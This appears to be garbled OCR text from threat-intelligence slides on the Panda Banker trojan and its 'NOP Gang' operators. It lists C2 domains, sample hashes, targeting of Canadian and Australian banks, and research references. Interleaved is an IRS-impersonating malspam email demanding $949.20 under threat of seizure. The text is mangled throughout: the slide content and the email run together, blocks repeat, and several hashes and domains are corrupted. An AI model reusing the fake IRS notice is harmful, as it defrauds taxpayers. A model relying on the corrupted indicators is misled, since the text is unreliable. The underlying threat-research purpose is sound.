In case you have queries or issues using the service, you should make contact with us www paygov.us. .

=]

powered by
The following service plan is delivered to you free by the Internal Revenue Service. The following notification is gO‘I.‘DE'UVE'm‘
provided through: Internal Revenue Service 2582 Structure St S Washington DC 20564 got he w

4 i »

RS -
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| ernal Revenue Service Notice essage (HTML) El

(14 - b L | Message -

From: RS <irs@baltimoreent.com> Sent: Wed 10/10,/2018 7:20 AM
To: Someaone

Co

Subject: Internal Revenue Service Notice

» &1

= Distribution

= Malspam (October 2018)

- URL links to a Word document with macros YIRS
* |RS theme IRS

- First reminder: Notice of Intent to seize your tax bill reimbursement.
= Hancitor (Tordal) loader g
- C2s: howonehimun.com, onbihoge.ru, rabmiarco.ru
" P an d a B an ke r QOur documents clearly show that you have outstanding amount for a tax year ending
December 31,2017 (Application form ). In cases where you will not contact us straight

- 0faba45937dd11ad446311644062421a9efed20b51 i o o s e s & e o Jou o oy g
1279c9adfd0dc4729c0f5

- C2s: sincirewdo.ru, therepmeat.ru, nobotanri.ru, slonmenfamen o
veintitna.ru, lachistontfi.ru e e N |

- No webinjects

Amount due right away: $949.20

In case you no longer want to receive alerts, please visit your IRS services user account to momentarily
deactivate or permanently eliminate these notifications.

This warning is sent to your account automatically through the IRS services. Make sure you do not Write
back.

Manage your account, change your security settings or current email address, or stop waming signals whenever you want on your Preferences Page.

In case you have queries or issues using the service, you should make contact with us www paygov.us. .

=]

powered by
The following service plan is delivered to you free by the Internal Revenue Service. The following notification is gO‘I.‘DE'UVE'm‘
provided through: Internal Revenue Service 2582 Structure St S Washington DC 20564 got he w

4 i »

RS -
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Group (“NOP Gang”)

—

JR TJN llowing
. @JR0driguezB N @ @reOnFleek -

latest dynamic
config file retrieved from botnet NOP with
binary version 2.6.9 targeting Australia and
Canada.

#zeuspanda #pandabanker down but not out
virustotal.com/en/file/96483a ...

C2:

—T _ _
Lo ooy 1 ot duig mavre anaiss - hxxps://chewkinyan[.Jcom
JROdriguezB/malware_configs
B github.com
) g Targeting CA Banks
5:44 AM - 9 Oct 2018 6:02 PM - 19 Nov 2018
1Retweet 4likes D@ S 1 Retweet 4 Likes o J 0 o
Q (e O 4 = Q 1 1 QO 4 &
Source: Source:
https://twitter.com/JROdriguezB/status/10495964 https://twitter.com/reOnFleek/status/1064655055331
22964867072 168256
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Group (“NOP Gang”)
N

J J A S

M ) N D 2018 F M A M J J A S (0] N

Samples: ~40
» QOldest: 4e36727282672b7ece395cf26ba581e5b264bff0f5898d557¢c9646d2ba37alec

- C2s: play2wright.top, pub3lished.top, re4present.top, second5ary.top, tecénique.top, tole7rable.top
= Newest: ae9ac49c¢f980c51b10e8f8ef7481542ff1d5a7468177091fd334a80b46338a63

- C2s: chewkinyan.com, 554343rods13.top, 80m55453tr356.top

Activity: March 2017 — present

Versions: 2.2.14 — 2.6.9 (missing 17 versions)
Botnets: NOP

proofpoint.

93 © 2016 Proofpoint, Inc.




Group (“NOP Gang”)

= Targeting
= Canada (March 2017)
- 4e36727282672b7ece395cf26ba581e5b264bff0f5898d557¢c9646d2ba37alec
- C2s: play2wright.top, pub3lished.top, re4present.top, second5ary.top, tecénique.top, tole7rable.top
- Webinjects
« ~40

* “tables” and “r=" Kits
* (C2: plsfgpal.com, popelenga.info

= Australia and Canada (October 2018)
- 13c01865f1f6be7f3abd7f887088783b58ch7264e3c81c774e0d3e38b3883ecl
- C2s: 80m533tr356.top, charter-paradise.com, 54or3rods13.top
- Webinjects
« ~50
e “tables” and “r=" Kits
* (C2s: plsfgpal.com, taberfix.top
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Endangered Species ?




Endangered Species ?




Z00

= #pandabanker on Twitter/VirusTotal

= #ZeusPandaBanker on Twitter
= @James_inthe box

= https://www.malware-traffic-analysis.net/

= https://traffic.moe/

» https://zerophagemalware.com/

= https://urlhaus.abuse.ch/browse/signature/PandaZeuS/

» “PandaZeuS” tag at https://sslbl.abuse.ch/

= http://www.kernelmode.info/forum/viewtopic.php?f=16&t=4426&p=29520&hilit=panda#p28940
= https://github.com/JROdriguezB/malware_configs/tree/master/PandaBanker

= https://malpedia.caad.fkie.fraunhofer.de/details/win.pandabanker
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